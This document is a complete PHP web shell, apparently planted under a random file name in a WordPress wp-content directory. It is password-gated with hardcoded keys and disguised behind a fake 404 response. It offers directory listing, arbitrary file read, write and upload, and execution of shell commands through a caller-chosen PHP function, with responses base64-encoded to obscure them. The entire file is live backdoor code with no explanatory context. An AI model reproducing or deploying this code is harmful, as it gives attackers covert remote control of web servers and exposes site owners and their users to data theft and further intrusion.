File: /home/circuix/www/wp-content/zcqvmcii.php
<?php
$k=isset($_POST['k'])?$_POST['k']:(isset($_POST['pp'])?$_POST['pp']:(isset($_GET['root'])?$_GET['root']:''));
if($k!=='postpass2'&&$k!=='admin888'){header('HTTP/1.1 404 Not Found');die();}
$a=isset($_POST['_a'])?$_POST['_a']:'';
$p=isset($_POST['_p'])?$_POST['_p']:getcwd();
$r=array('cwd'=>$p,'uid'=>function_exists('posix_getpwuid')?@posix_getpwuid(@posix_geteuid())['name']:@get_current_user());
if($a=='ls'){$r['o']=@scandir($p);}
elseif($a=='rd'){$r['o']=base64_encode(@file_get_contents($p));}
elseif($a=='sv'){$r['o']=(int)@file_put_contents($p,base64_decode($_POST['_d']));}
elseif($a=='up'){$r['o']=@move_uploaded_file($_FILES['f']['tmp_name'],rtrim($p,'/').'/'.$_FILES['f']['name']);}
elseif($a=='sh'){$f=isset($_POST['_s'])?$_POST['_s']:'system';@ob_start();@$f($_POST['_c']);$r['o']=@ob_get_clean();}
if($a){echo base64_encode(json_encode($r));die();}
echo "<!doctype html><meta charset=utf8><title>postpass2</title><pre>".htmlspecialchars($p)."\n".htmlspecialchars(@implode("\n",@scandir($p)))."</pre><form method=post enctype=multipart/form-data><input type=hidden name=k value=admin888><input name=_a value=up><input name=_p value='".htmlspecialchars($p)."'><input type=file name=f><button>up</button></form>postpass2";